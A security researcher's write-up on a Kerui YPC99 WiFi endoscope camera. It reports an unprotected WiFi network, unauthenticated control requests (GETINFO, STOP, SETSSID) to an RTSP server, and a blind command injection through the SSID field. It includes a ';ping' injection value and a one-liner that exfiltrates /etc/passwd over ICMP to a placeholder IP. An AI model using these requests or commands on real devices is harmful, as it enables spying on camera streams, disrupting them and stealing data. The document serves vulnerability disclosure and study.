Recently, I bought a device named Kerui Endoscope Camera (Model:YPC99) from Aliexpress. It’s a very popular device which is sold more than 5000 via different stores.

The package contains: Endoscope camera, Wifi device and a small user manual

Problem 1 - Unprotected Wifi Network

To use the device, you need to install an app named “y_camera” from App Store or Google Play. After starting the device, a Wifi network which starts with “endoscope” string appears.

As a first problem, this Wifi network is not password protected, also there is nothing written on user manual about setting a password. After connecting the mobile device to this Wifi, I could access to the camera’s stream.

Since the Wifi is not protected, anyone inside the Wifi’s range can watch this stream. But there also more things that they can!

Problem 2 - Missing Authentication Mechanisms

So I decompiled their Android application to see if there is some hidden functionalities. First of all, there is a RTSP server on port 7070 for streaming and it accepts various commands.

Some of these methods are written in the user manual, some of them are not. When I check the functions, I realized that there is no any authentication mechanism.

So let’s craft the “getInfo” request.

GETINFO /webcam APPO/1.0

It responds with:

APPO/1.0 200 OK
METHOD: GETINFO
SSID: endoscope
CHIP: AX3268
CHANNEL: 0
SENSOR_DIRECTION: 0
PIXEL: 0
QUALITY: 0
FRAMERATE: 0
TYPE: DRONE
VENDOR: APPOTECH
VERSION: EVJ-2_20180329

It seems “APPOTECH” company is a hardware manifacturer. Interestingly, the “TYPE” value is “DRONE”. Maybe they produced this piece of hardware for drones only.

Anyway, you can also stop the stream by sending following request:

STOP rtsp://192.168.1.1:7070/webcam/ RTSP/1.0
Range: npt=0.000-
CSeq: 4
User-Agent: Lavf57.71.100

It responds with

RTSP/1.0 200 OK
CSeq: 4
Session: E6E7E8E9EAEBECEDEEEFF0F1F2F3F4

There is also another interesting function named “setSSID”. By sending a request, you can change SSID value of the device to an any string you want. Therefore, the user will be disconnected during the stream. An example request:

SETSSID /webcam APPO/1.0
ssid:utku

It responds with:

APPO/1.0 200 OK
METHOD: SETSSID
SSID: utku
CHIP: AX3268
CHANNEL: 0
SENSOR_DIRECTION: 0
PIXEL: 0
QUALITY: 0
FRAMERATE: 0
TYPE: DRONE
VENDOR: APPOTECH
VERSION: EVJ-2_20180329

Problem 3 - Blind Remote Code Execution (Probably Not Practical)

When I play around with the “setSSID” request, I realized that I can execute commands on the device even I can’t see the output. For example when I send the following request:

SETSSID /webcam APPO/1.0
ssid:;ping 192.168.1.101

Device actually sends ICMP packets to the destination IP

Since it’s blind code execution, you can’t directly execute something like “;cat/etc/passwd” and read the output. One way to exfiltrate that data, inserting output of the “cat /etc/passwd” command into ICMP’s payload. For example a traditional command: “cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done”

But there is catch which makes this vulnerability impractical. Server only accepts strings which has 19 charactar at most. The reason can be the suffix of the SSID. It appends a 13 charactar lenght string as suffix. Since a SSID can be 32 character at most, it seems there is a control mechanism before the vulnerable line of code. Thefore, I couldn’t make it a practical code execution.